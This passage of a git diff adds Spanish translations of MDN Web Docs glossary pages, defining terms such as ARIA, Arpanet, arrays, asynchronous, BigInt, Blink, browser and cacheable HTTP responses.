+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li>The {{jsxref("Functions/arguments","arguments")}} object in {{glossary("JavaScript")}}</li>
+</ul>
diff --git a/files/es/glossary/aria/index.html b/files/es/glossary/aria/index.html
new file mode 100644
index 0000000000..4232332b0e
--- /dev/null
+++ b/files/es/glossary/aria/index.html
@@ -0,0 +1,14 @@
+---
+title: ARIA
+slug: Glossary/ARIA
+translation_of: Glossary/ARIA
+---
+<p><strong>ARIA</strong> (<em>Accessible Rich {{glossary("Internet")}} Applications</em>) es una especificación de la {{Glossary("W3C")}} para agregar semantica y otros metadatos a {{Glossary("HTML")}} para ayudar a los usuarios con tecnologia de apoyo.</p>
+
+<p>Por ejemplo,  puedes agregar el atributo <code>role="alert"</code> a un {{HTMLElement("p")}} {{glossary("tag")}} para notificar a un usuario con discapacidad visual que una información es importante .</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA">ARIA </a></li>
+</ul>
diff --git a/files/es/glossary/arpa/index.html b/files/es/glossary/arpa/index.html
new file mode 100644
index 0000000000..87bcff9abe
--- /dev/null
+++ b/files/es/glossary/arpa/index.html
@@ -0,0 +1,17 @@
+---
+title: ARPA
+slug: Glossary/ARPA
+tags:
+  - ARPA
+translation_of: Glossary/ARPA
+---
+<p><strong>.arpa </strong>(parametros de dirección y enrutamiento) es un {{glossary("TLD","dominio de alto nivel")}} usado para propositos de infraestructura de Internet, especialmente busqueda inversa de DNS (ej., encontrar el {{glossary('nombre de dominio')}} para una  {{glossary("dirección IP")}}) suministrada.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li><a href="http://www.iana.org/domains/arpa">Official website</a></li>
+ <li>{{Interwiki("wikipedia", ".arpa")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/arpanet/index.html b/files/es/glossary/arpanet/index.html
new file mode 100644
index 0000000000..19bc4e9a1f
--- /dev/null
+++ b/files/es/glossary/arpanet/index.html
@@ -0,0 +1,14 @@
+---
+title: Arpanet
+slug: Glossary/Arpanet
+translation_of: Glossary/Arpanet
+---
+<p>La <strong>ARPAnet </strong>(advanced research projects agency network) o Red de Angencias de Proyectos de Investigación Avanzada en español, era una red de computadoras construida en 1969 como un medio resistente para enviar datos militares y conectar principales grupos de investigación a través de los Estados Unidos. ARPAnet ejecutó NCP (network control protocol/protocolo de control de red) y subsequentemente  la primera versión del protocolo de Internet o la suite {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, teniendo la ARPAnet una descatada parte en la naciente {{glossary("Internet")}}. ARPAnet finalizó a comienzos de 1990.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Arpanet")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/arquitectura_de_la_información/index.html b/files/es/glossary/arquitectura_de_la_información/index.html
new file mode 100644
index 0000000000..222ed88e59
--- /dev/null
+++ b/files/es/glossary/arquitectura_de_la_información/index.html
@@ -0,0 +1,18 @@
+---
+title: Arquitectura de la información
+slug: Glossary/Arquitectura_de_la_información
+tags:
+  - Arquitectura informacional
+  - Diseño
+  - Glosario
+translation_of: Glossary/Information_architecture
+---
+<p>La arquitectura de la información, aplicada al diseño y desarrollo web, es la práctica de organizar la información, contenido y funcionalidad de un sitio web para que presente la mejor experiencia de usuario posible, con información y servicios fáciles de usar y encontrar.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Arquitectura_de_la_información", "Arquitectura de la información")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/arreglos/index.html b/files/es/glossary/arreglos/index.html
new file mode 100644
index 0000000000..74b22dbedc
--- /dev/null
+++ b/files/es/glossary/arreglos/index.html
@@ -0,0 +1,41 @@
+---
+title: Arreglos (Matrices)
+slug: Glossary/Arreglos
+tags:
+  - Arreglos
+  - CodificaciónScripting
+  - Glosario
+  - JavaScript
+  - Matriz
+  - programacion
+translation_of: Glossary/array
+---
+<p>Un arreglo (matriz<em>)</em> es una colección ordenada de datos (tanto {{glossary("Primitivo", "primitivos")}} u {{glossary("Object", "objetos")}} dependiendo del lenguaje). Los arreglos (matrices<em>)</em> se emplean para almacenar multiples valores en una sola variable, frente a las variables que sólo pueden almacenar un valor (por cada variable).</p>
+
+<p>Cada elemento del arreglo (matriz) <em> </em>tiene un número al que está asociado, llamado "<strong>índice numérico"</strong> (numeric index)<strong>,</strong> que permite acceder a él.</p>
+
+<p>En JavaScript, los arreglos (matrices) comienzan a partir del índice cero y pueden ser manipulados con varios {{glossary("Método", "métodos")}}.</p>
+
+<p>Un arreglo (matriz<em>)</em> en JavaScript se ve de esta forma:</p>
+
+<pre><code>var myArray = [1, 2, 3, 4];
+
+var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
+
+//Los arreglos en Javascript pueden guardar distintos tipos de datos como se muestra anteriormente
+</code>
+</pre>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Array data structure", "Array")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li>JavaScript {{jsxref("Array")}} en MDN</li>
+</ul>
diff --git a/files/es/glossary/ascii/index.html b/files/es/glossary/ascii/index.html
new file mode 100644
index 0000000000..cbf7392280
--- /dev/null
+++ b/files/es/glossary/ascii/index.html
@@ -0,0 +1,15 @@
+---
+title: ASCII
+slug: Glossary/ASCII
+tags:
+  - Glosario
+  - Infraestructura
+translation_of: Glossary/ASCII
+---
+<p><strong>ASCII</strong> (<em>American Standard Code for Information Interchange</em>) es uno de los métodos de codificación más utilizados por las computadoras para convertir letras, números, signos de puntuación y códigos de control en formato digital. Desde 2007, {{Glossary("UTF-8")}} lo reemplazó en la Web.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<p>{{Interwiki("wikipedia", "ASCII")}} en Wikipedia</p>
diff --git a/files/es/glossary/asíncrono/index.html b/files/es/glossary/asíncrono/index.html
new file mode 100644
index 0000000000..439f95eb37
--- /dev/null
+++ b/files/es/glossary/asíncrono/index.html
@@ -0,0 +1,31 @@
+---
+title: Asíncrono
+slug: Glossary/Asíncrono
+tags:
+  - Asíncrono
+  - Glosario
+  - Mecánicas de la Web
+  - Web
+translation_of: Glossary/Asynchronous
+---
+<p>El término <strong>asíncrono </strong>se refiere al concepto de que más de una cosa ocurre al mismo tiempo, o múltiples cosas relacionadas ocurren sin esperar a que la previa se haya completado. En informática, la palabra "asíncrono" se usa en los siguientes contextos:</p>
+
+<dl>
+ <dt>Redes y comunicaciones</dt>
+ <dd>La comunicación asíncrona es un método de intercambio de mensajes entre dos o más partes, en la que cada parte recibe y procesa el mensaje cuando sea conveniente o posible de realizar, en vez de hacerlo inmediatamente al recibirlo. Adicionalmente, los mensajes pueden ser enviados sin esperar el acuse de recibo de los mismos, bajo el entendimiento de que si ocurre algún problema, quien los recibe solicitará las correcciones o manejara la situación.</dd>
+ <dd>Para los humanos, el correo electrónico es un método de comunicación asíncrono: el emisor envía el correo y el receptor lo leerá y responderá cuando le sea conveniente en vez de hacerlo de una vez. Ambos lados pueden continuar enviando y recibiendo mensajes cuando quiera que ellos deseen, en lugar de tener que programarse uno alrededor del otro.</dd>
+ <dd>Cuando el software se comunica de manera asíncrona, un programa puede realizar una solicitud de información a otra pieza de software (un servidor, por ejemplo), y continuar haciendo otras tareas mientras espera por la respuesta. Por ejemplo,la técnica de programación <a href="/es/docs/">AJAX</a> (Asynchronus JavaScript and {{Glossary("XML")}}) - usualmente llamada simplemente "Ajax", incluso a pesar de que usualmente en las aplicaciones modernas se utilice {{Glossary("JSON")}} en vez de XML - es un mecanismo por el que se solicitan tamaños relativamente pequeños de datos al servidor usando {{Glossary("HTTP")}} , siendo los resultados devueltos cuando estén disponibles más que de inmediato.</dd>
+ <dt>Diseño de Software</dt>
+ <dd>El diseño de software asíncrono amplía el concepto al construir código que permita a un programa solicitar que una tarea se realice al mismo tiempo que la tarea (o tareas) original, sin detenerse a esperar a que la primera se haya completado. Cuando la tarea secundaria se completa, la original es notificada usando un mecanismo acordado, de tal forma que sepa que el trabajo se ha completado y que el resultado, si es que existe, está disponible.</dd>
+ <dd>Existen diversas técnicas de programación para implementar software asíncrono. Vea el artículo <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous">Asynchronous JavaScript</a>  para terner una introducción a ellos.</dd>
+ <dt></dt>
+</dl>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a> (Learning Area)</li>
+ <li>{{glossary("Synchronous")}}</li>
+</ul>
diff --git a/files/es/glossary/atag/index.html b/files/es/glossary/atag/index.html
new file mode 100644
index 0000000000..16391b7b8b
--- /dev/null
+++ b/files/es/glossary/atag/index.html
@@ -0,0 +1,21 @@
+---
+title: ATAG
+slug: Glossary/ATAG
+translation_of: Glossary/ATAG
+---
+<p>ATAG (Authoring Tool {{glossary("Accessibility")}} Guidelines/Pautas de accesibilidad de herramientas de autor) es una recomendación de la {{Glossary("W3C")}} para la construcción de herramientas de autor y producir contenido accesible.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="http://en.wikipedia.org/wiki/Web_Accessibility_Initiative#Authoring_Tools_Accessibility_Guidelines_.28ATAG.29">ATAG as part of the Web Accessibility Initiative</a> on WikiPedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="http://www.w3.org/WAI/intro/atag.php">Authoring Tool Accessibility Guidelines (ATAG) Overview</a></li>
+ <li><a href="http://www.w3.org/TR/ATAG20/">The ATAG 2.0 recommendation</a></li>
+</ul>
diff --git a/files/es/glossary/atributo/index.html b/files/es/glossary/atributo/index.html
new file mode 100644
index 0000000000..42027cf072
--- /dev/null
+++ b/files/es/glossary/atributo/index.html
@@ -0,0 +1,15 @@
+---
+title: Atributo
+slug: Glossary/Atributo
+translation_of: Glossary/Attribute
+---
+<p>Un atributo amplía una etiqueta ({{Glossary("tag")}}), cambiando su comportamiento o proporcionando metadatos. Un atributo tiene la forma nombre=valor (especificando el identificador del atributo y el valor asociado al atributo).</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Referencia_técnica"><span style="font-size: 1.71428571428571rem;">Referencia técnica</span></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Attributes">HTML attribute reference</a></li>
+ <li>Information about HTML's <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+</ul>
diff --git a/files/es/glossary/atributo_global/index.html b/files/es/glossary/atributo_global/index.html
new file mode 100644
index 0000000000..f167968e45
--- /dev/null
+++ b/files/es/glossary/atributo_global/index.html
@@ -0,0 +1,26 @@
+---
+title: Atributo global
+slug: Glossary/Atributo_global
+tags:
+  - CodingScripting
+  - Glosario
+  - HTML
+  - atributo
+translation_of: Web/HTML/Global_attributes
+---
+<p>Los<strong> Atributos Globales</strong> son {{glossary("attribute","atributos")}} que pueden ser usados en todos los {{glossary("element","elementos")}} (aunque a veces no tienen efecto en algunos de ellos).</p>
+
+<p>Algunos atributos se pueden utilizar en cualquier elemento HTML:</p>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales/dir"><strong>dir</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/lang"><strong>lang</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/style"><strong>style</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/id"><strong>id</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/class"><strong>class</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/tabindex"><strong>tabindex</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/accesskey"><strong>accesskey</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/title"><strong>title</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/hidden"><strong>hidden</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/data-*"><strong>data-*</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/contextmenu"><strong>contextmenu</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/contenteditable"><strong>contenteditable</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/translate"><strong>translate</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/spellcheck"><strong>spellcheck</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/draggable"><strong>draggable</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/dropzone"><strong>dropzone</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/itemid"><strong>itemid</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/itemprop"><strong>itemprop</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/itemref"><strong>itemref</strong></a>, <a href="/es/docs/Web/HTML/Atributos_Globales/itemscope"><strong>itemscope</strong></a>, y <a href="/es/docs/Web/HTML/Atributos_Globales/itemtype"><strong>itemtype</strong></a>.</li>
+ <li>Tanto <strong>xml:lang</strong> como <strong>xml:base</strong>, obsoletos, heredados de las especificaciones de {{glossary("XHTML")}} y mantenidos por razones de compatibilidad.</li>
+ <li>Los múltiples atributos <strong><a href="https://developer.mozilla.org/es/docs/Web/Accessibility/ARIA">aria-*</a></strong>, para mejorar la accesibilidad.</li>
+ <li>Los atributos de manejadores de eventos: <strong>onabort</strong>, <strong>onautocomplete</strong>, <strong>onautocompleteerror</strong>, <strong>onblur</strong>, <strong>oncancel</strong>, <strong>oncanplay</strong>, <strong>oncanplaythrough</strong>, <strong>onchange</strong>, <strong>onclick</strong>, <strong>onclose</strong>, <strong>oncontextmenu</strong>, <strong>oncuechange</strong>, <strong>ondblclick</strong>, <strong>ondrag</strong>, <strong>ondragend</strong>, <strong>ondragenter</strong>, <strong>ondragexit</strong>, <strong>ondragleave</strong>, <strong>ondragover</strong>, <strong>ondragstart</strong>, <strong>ondrop</strong>, <strong>ondurationchange</strong>, <strong>onemptied</strong>, <strong>onended</strong>, <strong>onerror</strong>, <strong>onfocus</strong>, <strong>oninput</strong>, <strong>oninvalid</strong>, <strong>onkeydown</strong>, <strong>onkeypress</strong>, <strong>onkeyup</strong>, <strong>onload</strong>, <strong>onloadeddata</strong>, <strong>onloadedmetadata</strong>, <strong>onloadstart</strong>, <strong>onmousedown</strong>, <strong>onmouseenter</strong>, <strong>onmouseleave</strong>, <strong>onmousemove</strong>, <strong>onmouseout</strong>, <strong>onmouseover</strong>, <strong>onmouseup</strong>, <strong>onmousewheel</strong>, <strong>onpause</strong>, <strong>onplay</strong>, <strong>onplaying</strong>, <strong>onprogress</strong>, <strong>onratechange</strong>, <strong>onreset</strong>, <strong>onresize</strong>, <strong>onscroll</strong>, <strong>onseeked</strong>, <strong>onseeking</strong>, <strong>onselect</strong>, <strong>onshow</strong>, <strong>onsort</strong>, <strong>onstalled</strong>, <strong>onsubmit</strong>, <strong>onsuspend</strong>, <strong>ontimeupdate</strong>, <strong>ontoggle</strong>, <strong>onvolumechange</strong>, <strong>onwaiting</strong>.</li>
+</ul>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<ul>
+ <li>Los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> de HTML.</li>
+</ul>
diff --git a/files/es/glossary/bandwidth/index.html b/files/es/glossary/bandwidth/index.html
new file mode 100644
index 0000000000..8c8d9eb1b1
--- /dev/null
+++ b/files/es/glossary/bandwidth/index.html
@@ -0,0 +1,12 @@
+---
+title: Ancho de banda
+slug: Glossary/Bandwidth
+translation_of: Glossary/Bandwidth
+---
+<p><font color="#252525" face="sans-serif">El ancho de banda es la medida de cuanta información puede pasar a través de una conexión de datos en un momento dado. El ancho de banda suele medirse en múltipos de bits-por-segundo (bps), por ejemplo, megabits-por-segundo (Mbps) o gigabits-por-segundo (Gbps).</font></p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Bandwidth")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/bigint/index.html b/files/es/glossary/bigint/index.html
new file mode 100644
index 0000000000..e09f5d6b62
--- /dev/null
+++ b/files/es/glossary/bigint/index.html
@@ -0,0 +1,23 @@
+---
+title: BigInt
+slug: Glossary/BigInt
+translation_of: Glossary/BigInt
+---
+<p>En {{Glossary("JavaScript")}}, <strong>BigInt </strong>es un tipo de dato numerico que puede representar números enteros en el <a href="https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic">formato de precision arbitrario</a>. En otros lenguajes de programación pueden existir diferentes tipos numéricos, por ejemplo: enteros, flotantes, dobles o bignums (numeros grandes).</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>
+  <p><span>{{Interwiki("wikipedia", "Data type#Numeric_types", "Tipos numéricos")}} en Wikipedia</span></p>
+ </li>
+</ul>
+
+<h3 id="Referencia_tecnica">Referencia tecnica</h3>
+
+<ul>
+ <li>La estructura de datos JavaScript: <code><a href="/en-US/docs/Web/JavaScript/Data_structures#BigInt_type">BigInt</a></code></li>
+ <li>El objeto global de JavaScript {{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/es/glossary/blink/index.html b/files/es/glossary/blink/index.html
new file mode 100644
index 0000000000..d8563a0738
--- /dev/null
+++ b/files/es/glossary/blink/index.html
@@ -0,0 +1,25 @@
+---
+title: Blink
+slug: Glossary/Blink
+tags:
+  - Chrome
+  - DOM
+  - Diseño
+  - Glosario
+  - Infraestructura
+  - Navegador
+  - Web
+  - WebKit
+translation_of: Glossary/Blink
+---
+<p>Blink es un motor de renderizado para <a href="/es/docs/Glossary/Browser">navegadores</a> de código abierto desarrollado por Google, que forma parte de Chromium (y por lo tanto también de <a href="/es/docs/Glossary/Google_Chrome">Chrome</a>). Concretamente, Blink  es una copia de la librería WebCore de <a href="/es/docs/Glossary/WebKit">WebKit</a>, que se encarga del diseño, renderizado, y del <a href="/es/docs/Glossary/DOM">DOM</a>.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>Página principal de <a href="http://www.chromium.org/blink">Blink</a></li>
+ <li>{{interwiki("wikipedia", "Blink")}} en Wikipedia</li>
+ <li><a href="http://www.chromium.org/blink/developer-faq">FAQ</a> de Blink</li>
+</ul>
diff --git a/files/es/glossary/block/css/index.html b/files/es/glossary/block/css/index.html
new file mode 100644
index 0000000000..8e07ce61d4
--- /dev/null
+++ b/files/es/glossary/block/css/index.html
@@ -0,0 +1,16 @@
+---
+title: Block (CSS)
+slug: Glossary/Block/CSS
+translation_of: Glossary/Block/CSS
+---
+<p>Un <strong>bloque </strong>en una página web es un {{glossary("elemento")}} {{glossary("HTML")}} que aparece en una nueva línea, por ejemplo debajo del elemento precedente y encima del siguiente elemento (comúnmente conocido como <em>block-level element)</em>. Por ejemplo, visto que {{htmlelement("a")}} es un <em>elemento en línea </em>— puedes colocar varios enlaces uno al lado del otro en el código HTML y no se posicionarán en la misma línea  <font color="#333333" face="Open Sans, arial, x-locale-body, sans-serif">como uno al otro en la salida representada.</font></p>
+
+<p><font color="#333333" face="Open Sans, arial, x-locale-body, sans-serif">Usando la propiedad {{cssxref("display")}} puedes cambiar si un elemento se muestre en línea o en bloque (entre muchas otras opciones); los <strong>bloques </strong>también están sujetos a los efectos de </font>posicionar<font color="#333333" face="Open Sans, arial, x-locale-body, sans-serif">esquemas y usar la propiedad {{cssxref("position")}}. </font></p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Modelo de formato visual</a></li>
+</ul>
diff --git a/files/es/glossary/block/index.html b/files/es/glossary/block/index.html
new file mode 100644
index 0000000000..70f431da62
--- /dev/null
+++ b/files/es/glossary/block/index.html
@@ -0,0 +1,8 @@
+---
+title: Block
+slug: Glossary/Block
+translation_of: Glossary/Block
+---
+<p>El término <strong>bloque </strong>puede tener diferentes significados dependiendo del conexto. Puede referirse a:</p>
+
+<p>{{GlossaryDisambiguation}}</p>
diff --git a/files/es/glossary/boolean/index.html b/files/es/glossary/boolean/index.html
new file mode 100644
index 0000000000..b809ba5728
--- /dev/null
+++ b/files/es/glossary/boolean/index.html
@@ -0,0 +1,25 @@
+---
+title: Boolean
+slug: Glossary/Boolean
+tags:
+  - Glosario
+  - JavaScript
+  - Tipos de datos
+translation_of: Glossary/Boolean
+---
+<p>En ciencias de informática, un <strong>boolean </strong>es un dato lógico<strong> </strong>que solo puede tener los valores true o false.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="http://es.wikipedia.org/wiki/Tipo_de_dato_l%C3%B3gico">Boolean en Wikipedia</a></li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li>El objeto global de JavaScript: {{jsxref("Boolean")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Tipos de datos y estructura de datos en JavaScript</a> (en inglés)</li>
+</ul>
diff --git a/files/es/glossary/browser/index.html b/files/es/glossary/browser/index.html
new file mode 100644
index 0000000000..f140956f0e
--- /dev/null
+++ b/files/es/glossary/browser/index.html
@@ -0,0 +1,32 @@
+---
+title: Navegador
+slug: Glossary/Browser
+tags:
+  - Chrome
+  - Explorer
+  - Glosario
+  - Mozilla
+  - Navegador
+  - Opera
+  - Web
+translation_of: Glossary/Browser
+---
+<p>Un <em>Navegador web</em> es un programa o aplicación que da acceso a la <a href="/es/docs/Glossary/World_Wide_Web">Web</a>, y permite a los usuarios el acceso a más páginas a través de <a href="/es/docs/Glossary/Hyperlink">hipervínculos</a>.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_general">Cultura general</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Navegador_web")}} en Wikipedia</li>
+ <li><a href="http://www.evolutionoftheweb.com/" rel="external">La evolución de la web</a></li>
+</ul>
+
+<h3 id="Descargar_un_navegador">Descargar un navegador</h3>
+
+<ul>
+ <li><a href="https://www.mozilla.org/es-ES/firefox/features/">Mozilla Firefox</a></li>
+ <li><a href="https://www.google.es/chrome/browser/desktop/index.html" rel="external">Google Chrome</a></li>
+ <li><a href="https://www.microsoft.com/es-es/windows/microsoft-edge" rel="external">Microsoft Internet Explorer</a></li>
+ <li><a href="http://www.opera.com/es" rel="external">Opera Browser</a></li>
+</ul>
diff --git a/files/es/glossary/browsing_context/index.html b/files/es/glossary/browsing_context/index.html
new file mode 100644
index 0000000000..c6942b7d06
--- /dev/null
+++ b/files/es/glossary/browsing_context/index.html
@@ -0,0 +1,25 @@
+---
+title: Contexto de navegación
+slug: Glossary/Browsing_context
+translation_of: Glossary/Browsing_context
+---
+<p> </p>
+
+<p>Un <strong>contexto de navegación</strong> es el entorno en el que un {{glossary("navegador")}} muestra un {{domxref("Documento")}} (normalmente una pestaña, pero posiblemente también una ventana o un marco (<em>frame</em>) dentro de una página).</p>
+
+<p>Cada contexto de navegación tiene un {{glossary("origen")}} específico, el origen del documento activo y un historial que enumera todos los documentos mostrados en orden.</p>
+
+<p>La comunicación entre contextos de navegación está severamente restringida. Entre un contexto de navegación del mismo origen, se puede abrir y utilizar un {{domxref("BroadcastChannel")}}}.</p>
+
+<p> </p>
+
+<h2 id="Aprende_más...">Aprende más...</h2>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/browsers.html#windows">Browsing context on WHATWG</a></li>
+ <li><a href="http://w3c.github.io/html/browsers.html#sec-browsing-contexts">Browsing context on W3C</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</div>
diff --git a/files/es/glossary/buffer/index.html b/files/es/glossary/buffer/index.html
new file mode 100644
index 0000000000..701d5d9316
--- /dev/null
+++ b/files/es/glossary/buffer/index.html
@@ -0,0 +1,17 @@
+---
+title: Buffer
+slug: Glossary/Buffer
+tags:
+  - Buffer
+  - Glosario
+translation_of: Glossary/buffer
+---
+<p>Un búfer es un espacio de memoria en el que se almacenan datos de forma temporal mientras se están transfiriendo de un sitio a otro.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/B%C3%BAfer_de_datos">Búfer de datos</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/cabecera_general/index.html b/files/es/glossary/cabecera_general/index.html
new file mode 100644
index 0000000000..d27644dad0
--- /dev/null
+++ b/files/es/glossary/cabecera_general/index.html
@@ -0,0 +1,8 @@
+---
+title: Cabecera general
+slug: Glossary/Cabecera_general
+translation_of: Glossary/General_header
+---
+<p>Una <strong>cabecera general</strong> es una {{glossary('Header', 'cabecera HTTP')}} que puede ser utilizada tanto en mensajes de consultas como de respuestas pero que no se aplican al contenido en sí mismo. Dependiendo del contexto en que son usadas, las cabeceras generales pueden ser de {{glossary("Response header", "respuesta")}} o de {{glossary("request header", "consulta")}}. Sin embargo, no son {{glossary("entity header", "cabeceras de entidad.")}}.</p>
+
+<p>Las cabeceras generales más comunes son {{HTTPHeader('Date')}}, {{HTTPheader("Cache-Control")}} y {{HTTPHeader("Connection")}}.</p>
diff --git a/files/es/glossary/cacheable/index.html b/files/es/glossary/cacheable/index.html
new file mode 100644
index 0000000000..866d3de7e9
--- /dev/null
+++ b/files/es/glossary/cacheable/index.html
@@ -0,0 +1,42 @@
+---
+title: Cacheable
+slug: Glossary/cacheable
+translation_of: Glossary/cacheable
+---
+<p>Una respuesta <strong><em>cacheable</em></strong> es una respuesta HTTP que se puede almacenar en caché, que se almacena para recuperarla y usarla más tarde, guardando una nueva solicitud en el servidor. No todas las respuestas HTTP se pueden almacenar en caché, estas son las siguientes restricciones para que una respuesta HTTP se almacene en caché:</p>
+
+<ul>
+ <li>El método utilizado en la solicitud se puede almacenar en caché, es decir, un método {{HTTPMethod ("GET")}} o {{HTTPMethod ("HEAD")}}. Una respuesta a una solicitud {{HTTPMethod ("POST")}} o {{HTTPMethod ("PATCH")}} también se puede almacenar en caché si se indica frescura y el encabezado {{HTTPHeader ("Content-Location")}} es establecido, pero esto rara vez se implementa. (Por ejemplo, Firefox no lo admite según https://bugzilla.mozilla.org/show_bug.cgi?id=109553.) Otros métodos, como {{HTTPMethod ("PUT")}} o {{HTTPMethod ("DELETE ")}} no se pueden almacenar en caché y su resultado no se puede almacenar en caché.</li>
+ <li>El código de estado de la respuesta es conocido por el almacenamiento en caché de la aplicación, y se considera almacenable en caché. El siguiente código de estado se puede almacenar en caché: {{HTTPStatus ("200")}}, {{HTTPStatus ("203")}}, {{HTTPStatus ("204")}}, {{HTTPStatus ("206")}} , {{HTTPStatus ("300")}}, {{HTTPStatus ("301")}}, {{HTTPStatus ("404")}}, {{HTTPStatus ("405")}}, {{HTTPStatus (" 410 ")}}, {{HTTPStatus (" 414 ")}} y {{HTTPStatus (" 501 ")}}.</li>
+ <li>No hay encabezados específicos en la respuesta, como {{HTTPHeader ("Cache-Control")}}, que impide el almacenamiento en caché.</li>
+</ul>
+
+<p>Tenga en cuenta que algunas solicitudes / respuestas no almacenables en caché a un URI específico pueden invalidar las respuestas almacenadas previamente en caché en el mismo URI. Por ejemplo, un {{HTTPMethod ("PUT")}} a pageX.html invalidará todas las solicitudes {{HTTPMethod ("GET")}} o {{HTTPMethod ("HEAD")}} en caché al mismo URI.</p>
+
+<p>Cuando ambos, el método de la solicitud y el estado de la respuesta, se pueden almacenar en caché, la respuesta a la solicitud se puede almacenar en caché:</p>
+
+<pre>GET /pageX.html HTTP / 1.1
+(...)
+
+200 OK
+(...)</pre>
+
+<p><br>
+ Una solicitud {{HTTPMethod ("PUT")}} no se puede almacenar en caché. Además, invalida los datos en caché para solicitarlos al mismo URI realizado a través de {{HTTPMethod ("HEAD")}} o {{HTTPMethod ("GET")}}:</p>
+
+<pre>PUT /pageX.html HTTP / 1.1
+(...)
+
+200 OK
+(...)</pre>
+
+<p><br>
+ Un encabezado específico {{HTTPHeader ("Cache-Control")}} en la respuesta puede evitar el almacenamiento en caché:</p>
+
+<pre>GET /pageX.html HTTP / 1.1
+(...)
+
+200 OK
+Control de caché: sin caché
+(...)
+</pre>
diff --git a/files/es/glossary/caché/index.html b/files/es/glossary/caché/index.html
new file mode 100644
index 0000000000..1c9b861ae8
--- /dev/null
+++ b/files/es/glossary/caché/index.html
@@ -0,0 +1,17 @@
+---
+title: Caché
+slug: Glossary/Caché
+tags:
+  - Glosario
+  - HTTP
+translation_of: Glossary/Cache
+---
